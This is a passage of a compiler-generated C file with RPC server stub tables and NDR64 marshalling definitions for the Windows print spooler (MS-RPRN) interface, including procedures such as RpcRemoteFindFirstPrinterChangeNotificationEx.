2064 | /* 124 */ 0x8, /* FC_LONG */
2065 | 0x8, /* FC_LONG */
2066 | /* 126 */ 0x8, /* FC_LONG */
2067 | 0x40, /* FC_STRUCTPAD4 */
2068 | /* 128 */ 0x36, /* FC_POINTER */
2069 | 0x5b, /* FC_END */
2070 | /* 130 */
2071 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2072 | /* 132 */ NdrFcShort( 0xffda ), /* Offset= -38 (94) */
2073 |
2074 | 0x0
2075 | }
2076 | };
2077 |
2078 | static const NDR_RUNDOWN RundownRoutines[] =
2079 | {
2080 | PRINTER_HANDLE_rundown
2081 | };
2082 |
2083 |
2084 | static const unsigned short winspool_FormatStringOffsetTable[] =
2085 | {
2086 | 0,
2087 | 36,
2088 | 104,
2089 | 140,
2090 | 176,
2091 | 212,
2092 | 248,
2093 | 284,
2094 | 320,
2095 | 356,
2096 | 392,
2097 | 428,
2098 | 464,
2099 | 500,
2100 | 536,
2101 | 572,
2102 | 608,
2103 | 644,
2104 | 680,
2105 | 716,
2106 | 752,
2107 | 788,
2108 | 824,
2109 | 860,
2110 | 896,
2111 | 932,
2112 | 968,
2113 | 1004,
2114 | 1040,
2115 | 1076,
2116 | 1120,
2117 | 1156,
2118 | 1192,
2119 | 1228,
2120 | 1264,
2121 | 1300,
2122 | 1336,
2123 | 1372,
2124 | 1402,
2125 | 1432,
2126 | 1468,
2127 | 1504,
2128 | 1540,
2129 | 1576,
2130 | 1606,
2131 | 1636,
2132 | 1666,
2133 | 1702,
2134 | 1738,
2135 | 1774,
2136 | 1804,
2137 | 1834,
2138 | 1870,
2139 | 1906,
2140 | 1942,
2141 | 1972,
2142 | 2002,
2143 | 2038,
2144 | 2068,
2145 | 2104,
2146 | 2140,
2147 | 2176,
2148 | 2212,
2149 | 2248,
2150 | 2278,
2151 | 2308
2152 | };
2153 |
2154 |
2155 | static const RPC_DISPATCH_FUNCTION winspool_table[] =
2156 | {
2157 | NdrServerCall2,
2158 | NdrServerCall2,
2159 | NdrServerCall2,
2160 | NdrServerCall2,
2161 | NdrServerCall2,
2162 | NdrServerCall2,
2163 | NdrServerCall2,
2164 | NdrServerCall2,
2165 | NdrServerCall2,
2166 | NdrServerCall2,
2167 | NdrServerCall2,
2168 | NdrServerCall2,
2169 | NdrServerCall2,
2170 | NdrServerCall2,
2171 | NdrServerCall2,
2172 | NdrServerCall2,
2173 | NdrServerCall2,
2174 | NdrServerCall2,
2175 | NdrServerCall2,
2176 | NdrServerCall2,
2177 | NdrServerCall2,
2178 | NdrServerCall2,
2179 | NdrServerCall2,
2180 | NdrServerCall2,
2181 | NdrServerCall2,
2182 | NdrServerCall2,
2183 | NdrServerCall2,
2184 | NdrServerCall2,
2185 | NdrServerCall2,
2186 | NdrServerCall2,
2187 | NdrServerCall2,
2188 | NdrServerCall2,
2189 | NdrServerCall2,
2190 | NdrServerCall2,
2191 | NdrServerCall2,
2192 | NdrServerCall2,
2193 | NdrServerCall2,
2194 | NdrServerCall2,
2195 | NdrServerCall2,
2196 | NdrServerCall2,
2197 | NdrServerCall2,
2198 | NdrServerCall2,
2199 | NdrServerCall2,
2200 | NdrServerCall2,
2201 | NdrServerCall2,
2202 | NdrServerCall2,
2203 | NdrServerCall2,
2204 | NdrServerCall2,
2205 | NdrServerCall2,
2206 | NdrServerCall2,
2207 | NdrServerCall2,
2208 | NdrServerCall2,
2209 | NdrServerCall2,
2210 | NdrServerCall2,
2211 | NdrServerCall2,
2212 | NdrServerCall2,
2213 | NdrServerCall2,
2214 | NdrServerCall2,
2215 | NdrServerCall2,
2216 | NdrServerCall2,
2217 | NdrServerCall2,
2218 | NdrServerCall2,
2219 | NdrServerCall2,
2220 | NdrServerCall2,
2221 | NdrServerCall2,
2222 | NdrServerCall2,
2223 | 0
2224 | };
2225 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable =
2226 | {
2227 | 66,
2228 | (RPC_DISPATCH_FUNCTION*)winspool_table
2229 | };
2230 |
2231 |
2232 | #endif /* defined(_M_AMD64)*/
2233 |
2234 |
2235 |
2236 | /* this ALWAYS GENERATED file contains the RPC server stubs */
2237 |
2238 |
2239 | /* File created by MIDL compiler version 8.01.0622 */
2240 | /* at Mon Jan 18 22:14:07 2038
2241 | */
2242 | /* Compiler settings for ms-rprn.idl:
2243 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
2244 | protocol : all , ms_ext, c_ext, robust
2245 | error checks: allocation ref bounds_check enum stub_data
2246 | VC __declspec() decoration level:
2247 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
2248 | DECLSPEC_UUID(), MIDL_INTERFACE()
2249 | */
2250 | /* @@MIDL_FILE_HEADING( ) */
2251 |
2252 | #if defined(_M_AMD64)
2253 |
2254 |
2255 |
2256 | extern const NDR_RUNDOWN RundownRoutines[];
2257 |
2258 | #if !defined(__RPC_WIN64__)
2259 | #error Invalid build platform for this stub.
2260 | #endif
2261 |
2262 |
2263 | #include "ndr64types.h"
2264 | #include "pshpack8.h"
2265 |
2266 |
2267 | typedef
2268 | NDR64_FORMAT_CHAR
2269 | __midl_frag153_t;
2270 | extern const __midl_frag153_t __midl_frag153;
2271 |
2272 | typedef
2273 | struct
2274 | {
2275 | struct _NDR64_POINTER_FORMAT frag1;
2276 | }
2277 | __midl_frag152_t;
2278 | extern const __midl_frag152_t __midl_frag152;
2279 |
2280 | typedef
2281 | struct
2282 | {
2283 | NDR64_FORMAT_UINT32 frag1;
2284 | struct _NDR64_EXPR_VAR frag2;
2285 | }
2286 | __midl_frag151_t;
2287 | extern const __midl_frag151_t __midl_frag151;
2288 |
2289 | typedef
2290 | struct
2291 | {
2292 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2293 | struct _NDR64_ARRAY_ELEMENT_INFO frag2;
2294 | }
2295 | __midl_frag150_t;
2296 | extern const __midl_frag150_t __midl_frag150;
2297 |
2298 | typedef
2299 | struct
2300 | {
2301 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;
2302 | struct
2303 | {
2304 | struct _NDR64_NO_REPEAT_FORMAT frag1;
2305 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;
2306 | struct _NDR64_POINTER_FORMAT frag3;
2307 | NDR64_FORMAT_CHAR frag4;
2308 | } frag2;
2309 | }
2310 | __midl_frag149_t;
2311 | extern const __midl_frag149_t __midl_frag149;
2312 |
2313 | typedef
2314 | NDR64_FORMAT_CHAR
2315 | __midl_frag148_t;
2316 | extern const __midl_frag148_t __midl_frag148;
2317 |
2318 | typedef
2319 | struct
2320 | {
2321 | NDR64_FORMAT_UINT32 frag1;
2322 | struct _NDR64_EXPR_VAR frag2;
2323 | }
2324 | __midl_frag145_t;
2325 | extern const __midl_frag145_t __midl_frag145;
2326 |
2327 | typedef
2328 | struct
2329 | {
2330 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2331 | struct
2332 | {
2333 | struct _NDR64_REPEAT_FORMAT frag1;
2334 | struct
2335 | {
2336 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;
2337 | struct _NDR64_POINTER_FORMAT frag2;
2338 | } frag2;
2339 | NDR64_FORMAT_CHAR frag3;
2340 | } frag2;
2341 | struct _NDR64_ARRAY_ELEMENT_INFO frag3;
2342 | }
2343 | __midl_frag144_t;
2344 | extern const __midl_frag144_t __midl_frag144;
2345 |
2346 | typedef
2347 | struct
2348 | {
2349 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
2350 | struct
2351 | {
2352 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
2353 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;
2354 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;
2355 | struct _NDR64_MEMPAD_FORMAT frag4;
2356 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;
2357 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;
2358 | } frag2;
2359 | }
2360 | __midl_frag143_t;
2361 | extern const __midl_frag143_t __midl_frag143;
2362 |
2363 | typedef
2364 | struct _NDR64_POINTER_FORMAT
2365 | __midl_frag142_t;
2366 | extern const __midl_frag142_t __midl_frag142;
2367 |
2368 | typedef
2369 | struct _NDR64_CONFORMANT_STRING_FORMAT
2370 | __midl_frag140_t;
2371 | extern const __midl_frag140_t __midl_frag140;
2372 |
2373 | typedef
2374 | struct _NDR64_POINTER_FORMAT
2375 | __midl_frag139_t;
2376 | extern const __midl_frag139_t __midl_frag139;
2377 |
2378 | typedef
2379 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2380 | __midl_frag136_t;
2381 | extern const __midl_frag136_t __midl_frag136;
2382 |
2383 | typedef
2384 | struct
2385 | {
2386 | struct _NDR64_PROC_FORMAT frag1;
2387 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2388 | struct _NDR64_PARAM_FORMAT frag3;
2389 | struct _NDR64_PARAM_FORMAT frag4;
2390 | struct _NDR64_PARAM_FORMAT frag5;
2391 | struct _NDR64_PARAM_FORMAT frag6;
2392 | struct _NDR64_PARAM_FORMAT frag7;
2393 | struct _NDR64_PARAM_FORMAT frag8;
2394 | struct _NDR64_PARAM_FORMAT frag9;
2395 | }
2396 | __midl_frag135_t;
2397 | extern const __midl_frag135_t __midl_frag135;
2398 |
2399 | typedef
2400 | struct
2401 | {
2402 | struct _NDR64_PROC_FORMAT frag1;
2403 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2404 | }
2405 | __midl_frag134_t;
2406 | extern const __midl_frag134_t __midl_frag134;
2407 |
2408 | typedef
2409 | struct
2410 | {
2411 | struct _NDR64_PROC_FORMAT frag1;
2412 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2413 | struct _NDR64_PARAM_FORMAT frag3;
2414 | }
2415 | __midl_frag131_t;
2416 | extern const __midl_frag131_t __midl_frag131;
2417 |
2418 | typedef
2419 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2420 | __midl_frag75_t;
2421 | extern const __midl_frag75_t __midl_frag75;
2422 |
2423 | typedef
2424 | struct _NDR64_POINTER_FORMAT
2425 | __midl_frag74_t;
2426 | extern const __midl_frag74_t __midl_frag74;
2427 |
2428 | typedef
2429 | struct
2430 | {
2431 | struct _NDR64_PROC_FORMAT frag1;
2432 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2433 | struct _NDR64_PARAM_FORMAT frag3;
2434 | struct _NDR64_PARAM_FORMAT frag4;
2435 | }
2436 | __midl_frag73_t;
2437 | extern const __midl_frag73_t __midl_frag73;
2438 |
2439 | typedef
2440 | struct
2441 | {
2442 | struct _NDR64_POINTER_FORMAT frag1;
2443 | }
2444 | __midl_frag16_t;
2445 | extern const __midl_frag16_t __midl_frag16;
2446 |
2447 | typedef
2448 | NDR64_FORMAT_CHAR
2449 | __midl_frag15_t;
2450 | extern const __midl_frag15_t __midl_frag15;
2451 |
2452 | typedef
2453 | struct
2454 | {
2455 | NDR64_FORMAT_UINT32 frag1;
2456 | struct _NDR64_EXPR_VAR frag2;
2457 | }
2458 | __midl_frag14_t;
2459 | extern const __midl_frag14_t __midl_frag14;
2460 |
2461 | typedef
2462 | struct
2463 | {
2464 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2465 | struct _NDR64_ARRAY_ELEMENT_INFO frag2;
2466 | }
2467 | __midl_frag13_t;
2468 | extern const __midl_frag13_t __midl_frag13;
2469 |
2470 | typedef
2471 | struct
2472 | {
2473 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
2474 | struct
2475 | {
2476 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
2477 | struct _NDR64_MEMPAD_FORMAT frag2;
2478 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;
2479 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;
2480 | } frag2;
2481 | }
2482 | __midl_frag12_t;
2483 | extern const __midl_frag12_t __midl_frag12;
2484 |
2485 | typedef
2486 | struct _NDR64_POINTER_FORMAT
2487 | __midl_frag11_t;
2488 | extern const __midl_frag11_t __midl_frag11;
2489 |
2490 | typedef
2491 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2492 | __midl_frag8_t;
2493 | extern const __midl_frag8_t __midl_frag8;
2494 |
2495 | typedef
2496 | struct _NDR64_POINTER_FORMAT
2497 | __midl_frag7_t;
2498 | extern const __midl_frag7_t __midl_frag7;
2499 |
2500 | typedef
2501 | struct
2502 | {
2503 | struct _NDR64_PROC_FORMAT frag1;
2504 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2505 | struct _NDR64_PARAM_FORMAT frag3;
2506 | struct _NDR64_PARAM_FORMAT frag4;
2507 | struct _NDR64_PARAM_FORMAT frag5;
2508 | struct _NDR64_PARAM_FORMAT frag6;
2509 | struct _NDR64_PARAM_FORMAT frag7;
2510 | struct _NDR64_PARAM_FORMAT frag8;
2511 | }
2512 | __midl_frag4_t;
2513 | extern const __midl_frag4_t __midl_frag4;
2514 |
2515 | typedef
2516 | NDR64_FORMAT_UINT32
2517 | __midl_frag1_t;
2518 | extern const __midl_frag1_t __midl_frag1;
2519 |
2520 | static const __midl_frag153_t __midl_frag153 =
2521 | 0x5 /* FC64_INT32 */;
2522 |
2523 | static const __midl_frag152_t __midl_frag152 =
2524 | {
2525 | /* */
2526 | {
2527 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2528 | 0x21, /* FC64_UP */
2529 | (NDR64_UINT8) 32 /* 0x20 */,
2530 | (NDR64_UINT16) 0 /* 0x0 */,
2531 | &__midl_frag144
2532 | }
2533 | };
2534 |
2535 | static const __midl_frag151_t __midl_frag151 =
2536 | {
2537 | /* */
2538 | (NDR64_UINT32) 1 /* 0x1 */,
2539 | {
2540 | /* struct _NDR64_EXPR_VAR */
2541 | 0x3, /* FC_EXPR_VAR */
2542 | 0x6, /* FC64_UINT32 */
2543 | (NDR64_UINT16) 0 /* 0x0 */,
2544 | (NDR64_UINT32) 12 /* 0xc */
2545 | }
2546 | };
2547 |
2548 | static const __midl_frag150_t __midl_frag150 =
2549 | {
2550 | /* *short */
2551 | {
2552 | /* *short */
2553 | 0x41, /* FC64_CONF_ARRAY */
2554 | (NDR64_UINT8) 1 /* 0x1 */,
2555 | {
2556 | /* *short */
2557 | 0,
2558 | 0,
2559 | 0,
2560 | 0,
2561 | 0,
2562 | 0,
2563 | 0,
2564 | 0
2565 | },
2566 | (NDR64_UINT8) 0 /* 0x0 */,
2567 | (NDR64_UINT32) 2 /* 0x2 */,
2568 | &__midl_frag151
2569 | },
2570 | {
2571 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
2572 | (NDR64_UINT32) 2 /* 0x2 */,
2573 | &__midl_frag148
2574 | }
2575 | };
2576 |
2577 | static const __midl_frag149_t __midl_frag149 =
2578 | {
2579 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2580 | {
2581 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2582 | 0x31, /* FC64_PSTRUCT */
2583 | (NDR64_UINT8) 7 /* 0x7 */,
2584 | {
2585 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2586 | 1,
2587 | 0,
2588 | 0,
2589 | 0,
2590 | 0,
2591 | 0,
2592 | 0,
2593 | 0
2594 | },
2595 | (NDR64_UINT8) 0 /* 0x0 */,
2596 | (NDR64_UINT32) 24 /* 0x18 */
2597 | },
2598 | {
2599 | /* */
2600 | {
2601 | /* struct _NDR64_NO_REPEAT_FORMAT */
2602 | 0x80, /* FC64_NO_REPEAT */
2603 | (NDR64_UINT8) 0 /* 0x0 */,
2604 | (NDR64_UINT16) 0 /* 0x0 */,
2605 | (NDR64_UINT32) 0 /* 0x0 */
2606 | },
2607 | {
2608 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
2609 | (NDR64_UINT32) 16 /* 0x10 */,
2610 | (NDR64_UINT32) 0 /* 0x0 */
2611 | },
2612 | {
2613 | /* *short */
2614 | 0x21, /* FC64_UP */
2615 | (NDR64_UINT8) 32 /* 0x20 */,
2616 | (NDR64_UINT16) 0 /* 0x0 */,
2617 | &__midl_frag150
2618 | },
2619 | 0x93 /* FC64_END */
2620 | }
2621 | };
2622 |
2623 | static const __midl_frag148_t __midl_frag148 =
2624 | 0x4 /* FC64_INT16 */;
2625 |
2626 | static const __midl_frag145_t __midl_frag145 =
2627 | {
2628 | /* */
2629 | (NDR64_UINT32) 1 /* 0x1 */,
2630 | {
2631 | /* struct _NDR64_EXPR_VAR */
2632 | 0x3, /* FC_EXPR_VAR */
2633 | 0x6, /* FC64_UINT32 */
2634 | (NDR64_UINT16) 0 /* 0x0 */,
2635 | (NDR64_UINT32) 8 /* 0x8 */
2636 | }
2637 | };
2638 |
2639 | static const __midl_frag144_t __midl_frag144 =
2640 | {
2641 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2642 | {
2643 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2644 | 0x41, /* FC64_CONF_ARRAY */
2645 | (NDR64_UINT8) 7 /* 0x7 */,
2646 | {
2647 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2648 | 1,
2649 | 0,
2650 | 0,
2651 | 0,
2652 | 0,
2653 | 0,
2654 | 0,
2655 | 0
2656 | },
2657 | (NDR64_UINT8) 0 /* 0x0 */,
2658 | (NDR64_UINT32) 24 /* 0x18 */,
2659 | &__midl_frag145
2660 | },
2661 | {
2662 | /* */
2663 | {
2664 | /* struct _NDR64_REPEAT_FORMAT */
2665 | 0x82, /* FC64_VARIABLE_REPEAT */
2666 | {
2667 | /* struct _NDR64_REPEAT_FORMAT */
2668 | (NDR64_UINT8) 1 /* 0x1 */,
2669 | (NDR64_UINT8) 0 /* 0x0 */
2670 | },
2671 | (NDR64_UINT16) 0 /* 0x0 */,
2672 | (NDR64_UINT32) 24 /* 0x18 */,
2673 | (NDR64_UINT32) 0 /* 0x0 */,
2674 | (NDR64_UINT32) 1 /* 0x1 */
2675 | },
2676 | {
2677 | /* */
2678 | {
2679 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
2680 | (NDR64_UINT32) 16 /* 0x10 */,
2681 | (NDR64_UINT32) 0 /* 0x0 */
2682 | },
2683 | {
2684 | /* *short */
2685 | 0x21, /* FC64_UP */
2686 | (NDR64_UINT8) 32 /* 0x20 */,
2687 | (NDR64_UINT16) 0 /* 0x0 */,
2688 | &__midl_frag150
2689 | }
2690 | },
2691 | 0x93 /* FC64_END */
2692 | },
2693 | {
2694 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
2695 | (NDR64_UINT32) 24 /* 0x18 */,
2696 | &__midl_frag149
2697 | }
2698 | };
2699 |
2700 | static const __midl_frag143_t __midl_frag143 =
2701 | {
2702 | /* RPC_V2_NOTIFY_OPTIONS */
2703 | {
2704 | /* RPC_V2_NOTIFY_OPTIONS */
2705 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
2706 | (NDR64_UINT8) 7 /* 0x7 */,
2707 | {
2708 | /* RPC_V2_NOTIFY_OPTIONS */
2709 | 1,
2710 | 1,
2711 | 0,
2712 | 0,
2713 | 0,
2714 | 0,
2715 | 0,
2716 | 0
2717 | },
2718 | (NDR64_UINT8) 0 /* 0x0 */,
2719 | (NDR64_UINT32) 24 /* 0x18 */,
2720 | 0,
2721 | 0,
2722 | &__midl_frag152,
2723 | },
2724 | {
2725 | /* */
2726 | {
2727 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2728 | 0x5, /* FC64_INT32 */
2729 | (NDR64_UINT8) 0 /* 0x0 */,
2730 | (NDR64_UINT16) 0 /* 0x0 */,
2731 | (NDR64_UINT32) 0 /* 0x0 */
2732 | },
2733 | {
2734 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2735 | 0x5, /* FC64_INT32 */
2736 | (NDR64_UINT8) 0 /* 0x0 */,
2737 | (NDR64_UINT16) 0 /* 0x0 */,
2738 | (NDR64_UINT32) 0 /* 0x0 */
2739 | },
2740 | {
2741 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2742 | 0x5, /* FC64_INT32 */
2743 | (NDR64_UINT8) 0 /* 0x0 */,
2744 | (NDR64_UINT16) 0 /* 0x0 */,
2745 | (NDR64_UINT32) 0 /* 0x0 */
2746 | },
2747 | {
2748 | /* struct _NDR64_MEMPAD_FORMAT */
2749 | 0x90, /* FC64_STRUCTPADN */
2750 | (NDR64_UINT8) 0 /* 0x0 */,
2751 | (NDR64_UINT16) 4 /* 0x4 */,
2752 | (NDR64_UINT32) 0 /* 0x0 */
2753 | },
2754 | {
2755 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2756 | 0x14, /* FC64_POINTER */
2757 | (NDR64_UINT8) 0 /* 0x0 */,
2758 | (NDR64_UINT16) 0 /* 0x0 */,
2759 | (NDR64_UINT32) 0 /* 0x0 */
2760 | },
2761 | {
2762 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2763 | 0x93, /* FC64_END */
2764 | (NDR64_UINT8) 0 /* 0x0 */,
2765 | (NDR64_UINT16) 0 /* 0x0 */,
2766 | (NDR64_UINT32) 0 /* 0x0 */
2767 | }
2768 | }
2769 | };
2770 |
2771 | static const __midl_frag142_t __midl_frag142 =
2772 | {
2773 | /* *RPC_V2_NOTIFY_OPTIONS */
2774 | 0x21, /* FC64_UP */
2775 | (NDR64_UINT8) 0 /* 0x0 */,
2776 | (NDR64_UINT16) 0 /* 0x0 */,
2777 | &__midl_frag143
2778 | };
2779 |
2780 | static const __midl_frag140_t __midl_frag140 =
2781 | {
2782 | /* *wchar_t */
2783 | {
2784 | /* *wchar_t */
2785 | 0x64, /* FC64_CONF_WCHAR_STRING */
2786 | {
2787 | /* *wchar_t */
2788 | 0,
2789 | 0,
2790 | 0,
2791 | 0,
2792 | 0,
2793 | 0,
2794 | 0,
2795 | 0
2796 | },
2797 | (NDR64_UINT16) 2 /* 0x2 */
2798 | }
2799 | };
2800 |
2801 | static const __midl_frag139_t __midl_frag139 =
2802 | {
2803 | /* *wchar_t */
2804 | 0x21, /* FC64_UP */
2805 | (NDR64_UINT8) 0 /* 0x0 */,
2806 | (NDR64_UINT16) 0 /* 0x0 */,
2807 | &__midl_frag140
2808 | };
2809 |
2810 | static const __midl_frag136_t __midl_frag136 =
2811 | {
2812 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
2813 | 0x70, /* FC64_BIND_CONTEXT */
2814 | (NDR64_UINT8) 65 /* 0x41 */,
2815 | (NDR64_UINT8) 0 /* 0x0 */,
2816 | (NDR64_UINT8) 1 /* 0x1 */
2817 | };
2818 |
2819 | static const __midl_frag135_t __midl_frag135 =
2820 | {
2821 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */
2822 | {
2823 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */
2824 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */
2825 | (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */
2826 | (NDR64_UINT32) 60 /* 0x3c */,
2827 | (NDR64_UINT32) 8 /* 0x8 */,
2828 | (NDR64_UINT16) 0 /* 0x0 */,
2829 | (NDR64_UINT16) 0 /* 0x0 */,
2830 | (NDR64_UINT16) 7 /* 0x7 */,
2831 | (NDR64_UINT16) 8 /* 0x8 */
2832 | },
2833 | {
2834 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2835 | {
2836 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2837 | 0x70, /* FC64_BIND_CONTEXT */
2838 | (NDR64_UINT8) 64 /* 0x40 */,
2839 | 0 /* 0x0 */, /* Stack offset */
2840 | (NDR64_UINT8) 0 /* 0x0 */,
2841 | (NDR64_UINT8) 0 /* 0x0 */
2842 | },
2843 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2844 | },
2845 | {
2846 | /* hPrinter */ /* parameter hPrinter */
2847 | &__midl_frag136,
2848 | {
2849 | /* hPrinter */
2850 | 0,
2851 | 0,
2852 | 0,
2853 | 1,
2854 | 0,
2855 | 0,
2856 | 0,
2857 | 0,
2858 | 0,
2859 | 0,
2860 | 0,
2861 | 0,
2862 | 0,
2863 | (NDR64_UINT16) 0 /* 0x0 */,
2864 | 0
2865 | }, /* [in] */
2866 | (NDR64_UINT16) 0 /* 0x0 */,
2867 | 0 /* 0x0 */, /* Stack offset */
2868 | },
2869 | {
2870 | /* fdwFlags */ /* parameter fdwFlags */
2871 | &__midl_frag153,
2872 | {
2873 | /* fdwFlags */
2874 | 0,
2875 | 0,
2876 | 0,
2877 | 1,
2878 | 0,
2879 | 0,
2880 | 1,
2881 | 1,
2882 | 0,
2883 | 0,
2884 | 0,
2885 | 0,
2886 | 0,
2887 | (NDR64_UINT16) 0 /* 0x0 */,
2888 | 0
2889 | }, /* [in], Basetype, ByValue */
2890 | (NDR64_UINT16) 0 /* 0x0 */,
2891 | 8 /* 0x8 */, /* Stack offset */
2892 | },
2893 | {
2894 | /* fdwOptions */ /* parameter fdwOptions */
2895 | &__midl_frag153,
2896 | {
2897 | /* fdwOptions */
2898 | 0,
2899 | 0,
2900 | 0,
2901 | 1,
2902 | 0,
2903 | 0,
2904 | 1,
2905 | 1,
2906 | 0,
2907 | 0,
2908 | 0,
2909 | 0,
2910 | 0,
2911 | (NDR64_UINT16) 0 /* 0x0 */,
2912 | 0
2913 | }, /* [in], Basetype, ByValue */
2914 | (NDR64_UINT16) 0 /* 0x0 */,
2915 | 16 /* 0x10 */, /* Stack offset */
2916 | },
2917 | {
2918 | /* pszLocalMachine */ /* parameter pszLocalMachine */
2919 | &__midl_frag139,
2920 | {
2921 | /* pszLocalMachine */
2922 | 1,
2923 | 1,
2924 | 0,
2925 | 1,
2926 | 0,
2927 | 0,
2928 | 0,
2929 | 0,
2930 | 0,
2931 | 0,
2932 | 0,
2933 | 0,
2934 | 0,
2935 | (NDR64_UINT16) 0 /* 0x0 */,
2936 | 0
2937 | }, /* MustSize, MustFree, [in] */
2938 | (NDR64_UINT16) 0 /* 0x0 */,
2939 | 24 /* 0x18 */, /* Stack offset */
2940 | },
2941 | {
2942 | /* dwPrinterLocal */ /* parameter dwPrinterLocal */
2943 | &__midl_frag153,
2944 | {
2945 | /* dwPrinterLocal */
2946 | 0,
2947 | 0,
2948 | 0,
2949 | 1,
2950 | 0,
2951 | 0,
2952 | 1,
2953 | 1,
2954 | 0,
2955 | 0,
2956 | 0,
2957 | 0,
2958 | 0,
2959 | (NDR64_UINT16) 0 /* 0x0 */,
2960 | 0
2961 | }, /* [in], Basetype, ByValue */
2962 | (NDR64_UINT16) 0 /* 0x0 */,
2963 | 32 /* 0x20 */, /* Stack offset */
2964 | },
2965 | {
2966 | /* pOptions */ /* parameter pOptions */
2967 | &__midl_frag142,
2968 | {
2969 | /* pOptions */
2970 | 1,
2971 | 1,
2972 | 0,
2973 | 1,
2974 | 0,
2975 | 0,
2976 | 0,
2977 | 0,
2978 | 0,
2979 | 0,
2980 | 0,
2981 | 0,
2982 | 0,
2983 | (NDR64_UINT16) 0 /* 0x0 */,
2984 | 0
2985 | }, /* MustSize, MustFree, [in] */
2986 | (NDR64_UINT16) 0 /* 0x0 */,
2987 | 40 /* 0x28 */, /* Stack offset */
2988 | },
2989 | {
2990 | /* DWORD */ /* parameter DWORD */
2991 | &__midl_frag153,
2992 | {
2993 | /* DWORD */
2994 | 0,
2995 | 0,
2996 | 0,
2997 | 0,
2998 | 1,
2999 | 1,
3000 | 1,
3001 | 1,
3002 | 0,
3003 | 0,
3004 | 0,
3005 | 0,
3006 | 0,
3007 | (NDR64_UINT16) 0 /* 0x0 */,
3008 | 0
3009 | }, /* [out], IsReturn, Basetype, ByValue */
3010 | (NDR64_UINT16) 0 /* 0x0 */,
3011 | 48 /* 0x30 */, /* Stack offset */
3012 | }
3013 | };
3014 |
3015 | static const __midl_frag134_t __midl_frag134 =
3016 | {
3017 | /* Opnum64NotUsedOnWire */
3018 | {
3019 | /* Opnum64NotUsedOnWire */ /* procedure Opnum64NotUsedOnWire */
3020 | (NDR64_UINT32) 16777280 /* 0x1000040 */, /* explicit handle */ /* IsIntrepreted, HasExtensions */
3021 | (NDR64_UINT32) 8 /* 0x8 */ , /* Stack size */
3022 | (NDR64_UINT32) 0 /* 0x0 */,
3023 | (NDR64_UINT32) 0 /* 0x0 */,
3024 | (NDR64_UINT16) 0 /* 0x0 */,
3025 | (NDR64_UINT16) 0 /* 0x0 */,
3026 | (NDR64_UINT16) 0 /* 0x0 */,
3027 | (NDR64_UINT16) 8 /* 0x8 */
3028 | },
3029 | {
3030 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3031 | {
3032 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3033 | 0x72, /* FC64_BIND_PRIMITIVE */
3034 | (NDR64_UINT8) 0 /* 0x0 */,
3035 | 0 /* 0x0 */, /* Stack offset */
3036 | (NDR64_UINT8) 0 /* 0x0 */,
3037 | (NDR64_UINT8) 0 /* 0x0 */
3038 | },
3039 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3040 | }
3041 | };
3042 |
3043 | static const __midl_frag131_t __midl_frag131 =
3044 | {
3045 | /* RpcRemoteFindFirstPrinterChangeNotification */
3046 | {
3047 | /* RpcRemoteFindFirstPrinterChangeNotification */ /* procedure RpcRemoteFindFirstPrinterChangeNotification */
